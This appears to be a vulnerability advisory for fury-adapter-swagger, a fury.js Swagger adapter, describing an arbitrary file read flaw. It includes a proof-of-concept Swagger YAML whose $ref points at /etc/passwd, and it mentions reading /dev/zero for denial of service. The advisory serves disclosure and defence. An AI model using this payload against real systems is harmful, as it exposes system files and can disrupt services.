Package Instance

Arbitrary File Read
fury-adapter-swagger is a fury.js adapter for loading swagger HTTP API description documents - either via YAML or JSON.

fury-adapter-swagger has a vulnerability that allows arbitrary file reads off the file system.  This could be used to retrieve sensitive data, or cause a denial of service by reading `/dev/zero`.  An example proof of concept is provided below:

```
---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'
```